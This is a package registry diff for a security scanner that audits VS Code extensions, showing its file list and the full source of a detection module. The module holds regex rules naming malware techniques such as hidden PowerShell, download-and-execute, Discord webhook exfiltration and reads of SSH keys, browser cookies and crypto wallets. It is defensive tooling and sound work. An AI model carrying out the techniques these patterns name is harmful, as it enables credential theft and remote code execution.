@trailofbits/vsix-audit 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (197) hide show
  1. package/LICENSE +661 -0
  2. package/README.md +281 -0
  3. package/dist/cli.d.ts +3 -0
  4. package/dist/cli.d.ts.map +1 -0
  5. package/dist/cli.js +703 -0
  6. package/dist/cli.js.map +1 -0
  7. package/dist/index.d.ts +3 -0
  8. package/dist/index.d.ts.map +1 -0
  9. package/dist/index.js +4 -0
  10. package/dist/index.js.map +1 -0
  11. package/dist/scanner/batch.d.ts +12 -0
  12. package/dist/scanner/batch.d.ts.map +1 -0
  13. package/dist/scanner/batch.js +104 -0
  14. package/dist/scanner/batch.js.map +1 -0
  15. package/dist/scanner/bundler.d.ts +35 -0
  16. package/dist/scanner/bundler.d.ts.map +1 -0
  17. package/dist/scanner/bundler.js +120 -0
  18. package/dist/scanner/bundler.js.map +1 -0
  19. package/dist/scanner/cache.d.ts +45 -0
  20. package/dist/scanner/cache.d.ts.map +1 -0
  21. package/dist/scanner/cache.js +153 -0
  22. package/dist/scanner/cache.js.map +1 -0
  23. package/dist/scanner/cache.test.d.ts +2 -0
  24. package/dist/scanner/cache.test.d.ts.map +1 -0
  25. package/dist/scanner/cache.test.js +149 -0
  26. package/dist/scanner/cache.test.js.map +1 -0
  27. package/dist/scanner/capabilities.d.ts +29 -0
  28. package/dist/scanner/capabilities.d.ts.map +1 -0
  29. package/dist/scanner/capabilities.js +217 -0
  30. package/dist/scanner/capabilities.js.map +1 -0
  31. package/dist/scanner/checks/ast.d.ts +3 -0
  32. package/dist/scanner/checks/ast.d.ts.map +1 -0
  33. package/dist/scanner/checks/ast.js +469 -0
  34. package/dist/scanner/checks/ast.js.map +1 -0
  35. package/dist/scanner/checks/ast.test.d.ts +2 -0
  36. package/dist/scanner/checks/ast.test.d.ts.map +1 -0
  37. package/dist/scanner/checks/ast.test.js +389 -0
  38. package/dist/scanner/checks/ast.test.js.map +1 -0
  39. package/dist/scanner/checks/behavioral.d.ts +3 -0
  40. package/dist/scanner/checks/behavioral.d.ts.map +1 -0
  41. package/dist/scanner/checks/behavioral.js +367 -0
  42. package/dist/scanner/checks/behavioral.js.map +1 -0
  43. package/dist/scanner/checks/blocklist.d.ts +3 -0
  44. package/dist/scanner/checks/blocklist.d.ts.map +1 -0
  45. package/dist/scanner/checks/blocklist.js +32 -0
  46. package/dist/scanner/checks/blocklist.js.map +1 -0
  47. package/dist/scanner/checks/blocklist.test.d.ts +2 -0
  48. package/dist/scanner/checks/blocklist.test.d.ts.map +1 -0
  49. package/dist/scanner/checks/blocklist.test.js +74 -0
  50. package/dist/scanner/checks/blocklist.test.js.map +1 -0
  51. package/dist/scanner/checks/chains.d.ts +35 -0
  52. package/dist/scanner/checks/chains.d.ts.map +1 -0
  53. package/dist/scanner/checks/chains.js +505 -0
  54. package/dist/scanner/checks/chains.js.map +1 -0
  55. package/dist/scanner/checks/chains.test.d.ts +2 -0
  56. package/dist/scanner/checks/chains.test.d.ts.map +1 -0
  57. package/dist/scanner/checks/chains.test.js +250 -0
  58. package/dist/scanner/checks/chains.test.js.map +1 -0
  59. package/dist/scanner/checks/dataflow.d.ts +3 -0
  60. package/dist/scanner/checks/dataflow.d.ts.map +1 -0
  61. package/dist/scanner/checks/dataflow.js +316 -0
  62. package/dist/scanner/checks/dataflow.js.map +1 -0
  63. package/dist/scanner/checks/dependencies.d.ts +13 -0
  64. package/dist/scanner/checks/dependencies.d.ts.map +1 -0
  65. package/dist/scanner/checks/dependencies.js +225 -0
  66. package/dist/scanner/checks/dependencies.js.map +1 -0
  67. package/dist/scanner/checks/dependencies.test.d.ts +2 -0
  68. package/dist/scanner/checks/dependencies.test.d.ts.map +1 -0
  69. package/dist/scanner/checks/dependencies.test.js +248 -0
  70. package/dist/scanner/checks/dependencies.test.js.map +1 -0
  71. package/dist/scanner/checks/finding-quality.test.d.ts +8 -0
  72. package/dist/scanner/checks/finding-quality.test.d.ts.map +1 -0
  73. package/dist/scanner/checks/finding-quality.test.js +164 -0
  74. package/dist/scanner/checks/finding-quality.test.js.map +1 -0
  75. package/dist/scanner/checks/ioc.d.ts +20 -0
  76. package/dist/scanner/checks/ioc.d.ts.map +1 -0
  77. package/dist/scanner/checks/ioc.js +234 -0
  78. package/dist/scanner/checks/ioc.js.map +1 -0
  79. package/dist/scanner/checks/ioc.test.d.ts +2 -0
  80. package/dist/scanner/checks/ioc.test.d.ts.map +1 -0
  81. package/dist/scanner/checks/ioc.test.js +298 -0
  82. package/dist/scanner/checks/ioc.test.js.map +1 -0
  83. package/dist/scanner/checks/manifest.d.ts +6 -0
  84. package/dist/scanner/checks/manifest.d.ts.map +1 -0
  85. package/dist/scanner/checks/manifest.js +123 -0
  86. package/dist/scanner/checks/manifest.js.map +1 -0
  87. package/dist/scanner/checks/manifest.test.d.ts +2 -0
  88. package/dist/scanner/checks/manifest.test.d.ts.map +1 -0
  89. package/dist/scanner/checks/manifest.test.js +108 -0
  90. package/dist/scanner/checks/manifest.test.js.map +1 -0
  91. package/dist/scanner/checks/obfuscation.d.ts +3 -0
  92. package/dist/scanner/checks/obfuscation.d.ts.map +1 -0
  93. package/dist/scanner/checks/obfuscation.js +432 -0
  94. package/dist/scanner/checks/obfuscation.js.map +1 -0
  95. package/dist/scanner/checks/obfuscation.test.d.ts +2 -0
  96. package/dist/scanner/checks/obfuscation.test.d.ts.map +1 -0
  97. package/dist/scanner/checks/obfuscation.test.js +399 -0
  98. package/dist/scanner/checks/obfuscation.test.js.map +1 -0
  99. package/dist/scanner/checks/package.d.ts +17 -0
  100. package/dist/scanner/checks/package.d.ts.map +1 -0
  101. package/dist/scanner/checks/package.js +422 -0
  102. package/dist/scanner/checks/package.js.map +1 -0
  103. package/dist/scanner/checks/package.test.d.ts +2 -0
  104. package/dist/scanner/checks/package.test.d.ts.map +1 -0
  105. package/dist/scanner/checks/package.test.js +518 -0
  106. package/dist/scanner/checks/package.test.js.map +1 -0
  107. package/dist/scanner/checks/patterns.d.ts +5 -0
  108. package/dist/scanner/checks/patterns.d.ts.map +1 -0
  109. package/dist/scanner/checks/patterns.js +251 -0
  110. package/dist/scanner/checks/patterns.js.map +1 -0
  111. package/dist/scanner/checks/patterns.test.d.ts +2 -0
  112. package/dist/scanner/checks/patterns.test.d.ts.map +1 -0
  113. package/dist/scanner/checks/patterns.test.js +147 -0
  114. package/dist/scanner/checks/patterns.test.js.map +1 -0
  115. package/dist/scanner/checks/unicode.d.ts +3 -0
  116. package/dist/scanner/checks/unicode.d.ts.map +1 -0
  117. package/dist/scanner/checks/unicode.js +247 -0
  118. package/dist/scanner/checks/unicode.js.map +1 -0
  119. package/dist/scanner/checks/unicode.test.d.ts +2 -0
  120. package/dist/scanner/checks/unicode.test.d.ts.map +1 -0
  121. package/dist/scanner/checks/unicode.test.js +202 -0
  122. package/dist/scanner/checks/unicode.test.js.map +1 -0
  123. package/dist/scanner/checks/yara.d.ts +23 -0
  124. package/dist/scanner/checks/yara.d.ts.map +1 -0
  125. package/dist/scanner/checks/yara.js +349 -0
  126. package/dist/scanner/checks/yara.js.map +1 -0
  127. package/dist/scanner/checks/yara.test.d.ts +2 -0
  128. package/dist/scanner/checks/yara.test.d.ts.map +1 -0
  129. package/dist/scanner/checks/yara.test.js +126 -0
  130. package/dist/scanner/checks/yara.test.js.map +1 -0
  131. package/dist/scanner/constants.d.ts +18 -0
  132. package/dist/scanner/constants.d.ts.map +1 -0
  133. package/dist/scanner/constants.js +37 -0
  134. package/dist/scanner/constants.js.map +1 -0
  135. package/dist/scanner/detection-coverage.test.d.ts +2 -0
  136. package/dist/scanner/detection-coverage.test.d.ts.map +1 -0
  137. package/dist/scanner/detection-coverage.test.js +216 -0
  138. package/dist/scanner/detection-coverage.test.js.map +1 -0
  139. package/dist/scanner/download.d.ts +76 -0
  140. package/dist/scanner/download.d.ts.map +1 -0
  141. package/dist/scanner/download.js +339 -0
  142. package/dist/scanner/download.js.map +1 -0
  143. package/dist/scanner/download.test.d.ts +2 -0
  144. package/dist/scanner/download.test.d.ts.map +1 -0
  145. package/dist/scanner/download.test.js +149 -0
  146. package/dist/scanner/download.test.js.map +1 -0
  147. package/dist/scanner/index.d.ts +8 -0
  148. package/dist/scanner/index.d.ts.map +1 -0
  149. package/dist/scanner/index.js +167 -0
  150. package/dist/scanner/index.js.map +1 -0
  151. package/dist/scanner/index.test.d.ts +2 -0
  152. package/dist/scanner/index.test.d.ts.map +1 -0
  153. package/dist/scanner/index.test.js +71 -0
  154. package/dist/scanner/index.test.js.map +1 -0
  155. package/dist/scanner/loaders/zoo.d.ts +3 -0
  156. package/dist/scanner/loaders/zoo.d.ts.map +1 -0
  157. package/dist/scanner/loaders/zoo.js +112 -0
  158. package/dist/scanner/loaders/zoo.js.map +1 -0
  159. package/dist/scanner/types.d.ts +118 -0
  160. package/dist/scanner/types.d.ts.map +1 -0
  161. package/dist/scanner/types.js +2 -0
  162. package/dist/scanner/types.js.map +1 -0
  163. package/dist/scanner/utils.d.ts +14 -0
  164. package/dist/scanner/utils.d.ts.map +1 -0
  165. package/dist/scanner/utils.js +25 -0
  166. package/dist/scanner/utils.js.map +1 -0
  167. package/dist/scanner/vsix.d.ts +6 -0
  168. package/dist/scanner/vsix.d.ts.map +1 -0
  169. package/dist/scanner/vsix.js +213 -0
  170. package/dist/scanner/vsix.js.map +1 -0
  171. package/dist/scanner/vsix.test.d.ts +2 -0
  172. package/dist/scanner/vsix.test.d.ts.map +1 -0
  173. package/dist/scanner/vsix.test.js +355 -0
  174. package/dist/scanner/vsix.test.js.map +1 -0
  175. package/package.json +60 -0
  176. package/zoo/blocklist/extensions.json +201 -0
  177. package/zoo/iocs/blockchain-extensions.txt +21 -0
  178. package/zoo/iocs/c2-domains.txt +50 -0
  179. package/zoo/iocs/c2-ips.txt +24 -0
  180. package/zoo/iocs/hashes.txt +47 -0
  181. package/zoo/iocs/malicious-npm.txt +85 -0
  182. package/zoo/iocs/wallets.txt +18 -0
  183. package/zoo/signatures/yara/README.md +46 -0
  184. package/zoo/signatures/yara/blockchain_c2.yar +48 -0
  185. package/zoo/signatures/yara/code_execution.yar +165 -0
  186. package/zoo/signatures/yara/credential_harvesting.yar +116 -0
  187. package/zoo/signatures/yara/crypto_wallet_targeting.yar +92 -0
  188. package/zoo/signatures/yara/data_exfiltration.yar +207 -0
  189. package/zoo/signatures/yara/google_calendar_c2.yar +187 -0
  190. package/zoo/signatures/yara/messaging_c2.yar +103 -0
  191. package/zoo/signatures/yara/multi_stage_attacks.yar +331 -0
  192. package/zoo/signatures/yara/obfuscation_patterns.yar +208 -0
  193. package/zoo/signatures/yara/powershell_attacks.yar +116 -0
  194. package/zoo/signatures/yara/rat_capabilities.yar +243 -0
  195. package/zoo/signatures/yara/self_propagation.yar +239 -0
  196. package/zoo/signatures/yara/unicode_stealth.yar +48 -0
  197. package/zoo/signatures/yara/websocket_c2.yar +83 -0
@@ -0,0 +1,251 @@
1
+ import { isScannable, SCANNABLE_EXTENSIONS_PATTERN } from "../constants.js";
2
+ import { findLineNumberByIndex } from "../utils.js";
3
+ const PATTERNS = [
4
+ {
5
+ id: "POWERSHELL_HIDDEN",
6
+ title: "Hidden PowerShell execution",
7
+ description: "Code executes PowerShell with hidden window. This is a common malware technique to run commands invisibly.",
8
+ pattern: /powershell[^;]*-WindowStyle\s+Hidden/gi,
9
+ severity: "critical",
10
+ },
11
+ {
12
+ id: "POWERSHELL_DOWNLOAD_EXEC",
13
+ title: "PowerShell download and execute",
14
+ description: "Code uses PowerShell to download and execute remote content (IEX/Invoke-Expression with IRM/Invoke-RestMethod or IWR/Invoke-WebRequest).",
15
+ pattern: /(?:irm|iwr|invoke-(?:webrequest|restmethod))[^|]*\|\s*(?:iex|invoke-expression)/gi,
16
+ severity: "critical",
17
+ },
18
+ {
19
+ id: "DISCORD_WEBHOOK",
20
+ title: "Discord webhook exfiltration",
21
+ description: "Code contains Discord webhook URL. This is commonly used to exfiltrate stolen data to attacker-controlled Discord channels.",
22
+ pattern: /discord\.com\/api\/webhooks\/\d+\/[a-zA-Z0-9_-]+/g,
23
+ severity: "high",
24
+ },
25
+ {
26
+ id: "DISCORD_WEBHOOK_PARTIAL",
27
+ title: "Discord webhook URL pattern",
28
+ description: "Code references Discord webhook API. This is commonly used for data exfiltration.",
29
+ pattern: /discord\.com\/api\/webhooks/g,
30
+ severity: "high",
31
+ },
32
+ {
33
+ id: "SSH_KEY_ACCESS",
34
+ title: "SSH private key access",
35
+ description: "Code accesses SSH private key files. This could indicate credential theft, but is expected in SSH client extensions and remote development tools.",
36
+ pattern: /\.ssh\/id_(?:rsa|ed25519|ecdsa|dsa)/g,
37
+ severity: "high",
38
+ legitimateUses: ["SSH client extensions", "Remote development tools", "Git SSH authentication"],
39
+ redFlags: [
40
+ "Combined with network exfiltration",
41
+ "Obfuscated file access",
42
+ "Unexpected in theme/formatter",
43
+ ],
44
+ },
45
+ {
46
+ id: "SSH_KEY_GENERIC",
47
+ title: "SSH key file reference",
48
+ description: "Code references .ssh directory. Could indicate SSH credential access, but is common in SSH extensions, remote development tools, and documentation.",
49
+ pattern: /\.ssh\//g,
50
+ severity: "medium",
51
+ legitimateUses: [
52
+ "Remote SSH extensions",
53
+ "SSH config editors",
54
+ "Git SSH operations",
55
+ "Documentation",
56
+ ],
57
+ redFlags: ["Combined with exfiltration patterns", "Obfuscated access"],
58
+ },
59
+ {
60
+ id: "EVAL_ATOB",
61
+ title: "Eval with base64 decode",
62
+ description: "Code uses eval with atob (base64 decode). This is a common obfuscation technique to hide malicious code.",
63
+ pattern: /(?:atob\s*\([^)]+\)[^;]*eval|eval\s*\([^)]*atob)/gi,
64
+ severity: "high",
65
+ },
66
+ {
67
+ id: "ATOB_SUSPICIOUS",
68
+ title: "Base64 decoding in suspicious context",
69
+ description: "Code uses atob() to decode base64. While not always malicious, this is commonly used to obfuscate payloads.",
70
+ pattern: /atob\s*\(\s*["'`][A-Za-z0-9+/=]{50,}["'`]\s*\)/g,
71
+ severity: "medium",
72
+ },
73
+ {
74
+ id: "CHILD_PROCESS_EXEC",
75
+ title: "Command execution via child_process",
76
+ description: "Code uses child_process.exec or execSync. Common in extensions that run CLI tools (git, compilers, linters, debuggers). Review the commands being executed.",
77
+ pattern: /(?:child_process|cp)['"]?\s*\)?\s*\.?\s*(?:exec|execSync|spawn|spawnSync)\s*\(/g,
78
+ severity: "medium",
79
+ legitimateUses: ["Git operations", "Build tools", "Linters", "Debuggers", "Language servers"],
80
+ redFlags: [
81
+ "PowerShell with hidden window",
82
+ "Downloading remote scripts",
83
+ "Obfuscated commands",
84
+ ],
85
+ },
86
+ {
87
+ id: "REQUIRE_CHILD_PROCESS",
88
+ title: "child_process module import",
89
+ description: "Code imports child_process module which enables command execution. This is common in extensions that integrate with CLI tools.",
90
+ pattern: /require\s*\(\s*["'`]child_process["'`]\s*\)/g,
91
+ severity: "low",
92
+ legitimateUses: [
93
+ "Git integration",
94
+ "Build systems",
95
+ "Formatters",
96
+ "Debuggers",
97
+ "Terminal tools",
98
+ ],
99
+ redFlags: ["No obvious CLI tool integration", "Combined with obfuscation"],
100
+ },
101
+ {
102
+ id: "NATIVE_NODE_FILE",
103
+ title: "Native .node binary",
104
+ description: "Extension contains native .node binary reference. Native addons can execute code outside the Node.js sandbox. Common in debuggers, language servers, and performance-critical tools.",
105
+ pattern: /\.node['"`]/g,
106
+ severity: "medium",
107
+ legitimateUses: [
108
+ "Debugger extensions",
109
+ "Language servers (LSP)",
110
+ "Performance tools",
111
+ "Native code integration",
112
+ ],
113
+ redFlags: [
114
+ "Unknown/obfuscated binary",
115
+ "No clear native functionality needed",
116
+ "Binary from untrusted source",
117
+ ],
118
+ },
119
+ {
120
+ id: "BROWSER_STORAGE",
121
+ title: "Browser data access",
122
+ description: "Code accesses browser storage paths (Chrome, Firefox, etc.). This could indicate credential or cookie theft.",
123
+ pattern: /(?:AppData|Application Support).*(?:Google\\Chrome|Mozilla\\Firefox|BraveSoftware)|Local Storage|leveldb|Cookies/gi,
124
+ severity: "high",
125
+ },
126
+ {
127
+ id: "CRYPTO_WALLET",
128
+ title: "Cryptocurrency wallet access",
129
+ description: "Code references cryptocurrency wallet paths or extensions. Could indicate crypto theft, but is expected in blockchain/Solidity development tools and security audit extensions.",
130
+ // Removed 'atomic' (too generic - matches Atomic Design, atomic operations, etc.)
131
+ // Removed '.wallet' (too generic - matches many non-crypto uses)
132
+ pattern: /(?:metamask|phantom|solflare|exodus|trust.*wallet|wallet\.dat|\.ethereum|\.bitcoin)/gi,
133
+ severity: "high",
134
+ legitimateUses: [
135
+ "Solidity development tools",
136
+ "Blockchain debuggers",
137
+ "Security audit extensions",
138
+ "Web3 development",
139
+ ],
140
+ redFlags: [
141
+ "File read operations on wallet paths",
142
+ "Network exfiltration of wallet data",
143
+ "Unexpected in non-blockchain extension",
144
+ ],
145
+ },
146
+ // Removed KEYLOGGER_PATTERN - too noisy, triggers on standard VS Code APIs
147
+ // (onDidChangeTextDocument is used by virtually all extensions)
148
+ // Behavioral check BEHAVIOR_KEYLOGGER handles this with multi-stage detection
149
+ {
150
+ id: "NETWORK_EXFIL",
151
+ title: "Network data transmission",
152
+ description: "Code makes HTTP requests with file or document content. Could indicate data exfiltration.",
153
+ pattern: /(?:axios|fetch|http|request)\s*\.\s*(?:post|put)\s*\([^)]*(?:getText|readFile|content)/gi,
154
+ severity: "medium",
155
+ },
156
+ {
157
+ id: "OBFUSCATED_CODE",
158
+ title: "Potentially obfuscated code",
159
+ description: "Code contains patterns typical of obfuscation (long hex strings, unusual variable names).",
160
+ pattern: /(?:_0x[a-f0-9]{4,}|\\x[a-f0-9]{2}){5,}/gi,
161
+ severity: "medium",
162
+ },
163
+ {
164
+ id: "VERCEL_APP",
165
+ title: "Vercel app domain",
166
+ description: "Code references a Vercel app domain. While Vercel is legitimate, it's commonly abused for C2 infrastructure by malware.",
167
+ pattern: /[a-z0-9-]+\.vercel\.app/gi,
168
+ severity: "medium",
169
+ },
170
+ {
171
+ id: "PYTHONANYWHERE",
172
+ title: "PythonAnywhere domain",
173
+ description: "Code references a PythonAnywhere domain. This free hosting service is commonly abused for data exfiltration.",
174
+ pattern: /[a-z0-9-]+\.pythonanywhere\.com/gi,
175
+ severity: "medium",
176
+ },
177
+ ];
178
+ export function checkPatterns(contents) {
179
+ const findings = [];
180
+ const seenFindings = new Set();
181
+ for (const [filename, buffer] of contents.files) {
182
+ if (!isScannable(filename, SCANNABLE_EXTENSIONS_PATTERN))
183
+ continue;
184
+ const content = buffer.toString("utf8");
185
+ for (const rule of PATTERNS) {
186
+ const regex = new RegExp(rule.pattern.source, rule.pattern.flags);
187
+ let match;
188
+ while ((match = regex.exec(content)) !== null) {
189
+ const key = `${rule.id}:${filename}:${match[0]}`;
190
+ if (seenFindings.has(key))
191
+ continue;
192
+ seenFindings.add(key);
193
+ findings.push({
194
+ id: rule.id,
195
+ title: rule.title,
196
+ description: rule.description,
197
+ severity: rule.severity,
198
+ category: "pattern",
199
+ location: {
200
+ file: filename,
201
+ line: findLineNumberByIndex(content, match.index),
202
+ },
203
+ metadata: {
204
+ matched: match[0].slice(0, 100),
205
+ ...(rule.legitimateUses && { legitimateUses: rule.legitimateUses }),
206
+ ...(rule.redFlags && { redFlags: rule.redFlags }),
207
+ },
208
+ });
209
+ }
210
+ }
211
+ }
212
+ return findings;
213
+ }
214
+ export function checkNativeFiles(contents) {
215
+ const findings = [];
216
+ const nativeExtensions = [".node", ".dll", ".dylib", ".so", ".exe"];
217
+ for (const filename of contents.files.keys()) {
218
+ const ext = filename.slice(filename.lastIndexOf(".")).toLowerCase();
219
+ if (nativeExtensions.includes(ext)) {
220
+ findings.push({
221
+ id: "NATIVE_BINARY",
222
+ title: "Native binary file in extension",
223
+ description: `Extension contains native binary "${filename}". Native code can execute outside the Node.js sandbox. Common in debuggers, language servers, and performance-critical tools.`,
224
+ severity: "high",
225
+ category: "pattern",
226
+ location: {
227
+ file: filename,
228
+ },
229
+ metadata: {
230
+ extension: ext,
231
+ legitimateUses: [
232
+ "Debugger extensions (LLDB, GDB)",
233
+ "Language servers",
234
+ "Performance tools",
235
+ "Syntax highlighting with tree-sitter",
236
+ ],
237
+ redFlags: [
238
+ "Unknown/obfuscated binary",
239
+ "No clear native functionality needed",
240
+ "Binary fetched from network",
241
+ ],
242
+ },
243
+ });
244
+ }
245
+ }
246
+ return findings;
247
+ }
248
+ export function checkAllPatterns(contents) {
249
+ return [...checkPatterns(contents), ...checkNativeFiles(contents)];
250
+ }
251
+ //# sourceMappingURL=patterns.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"patterns.js","sourceRoot":"","sources":["../../../src/scanner/checks/patterns.ts"],"names":[],"mappings":"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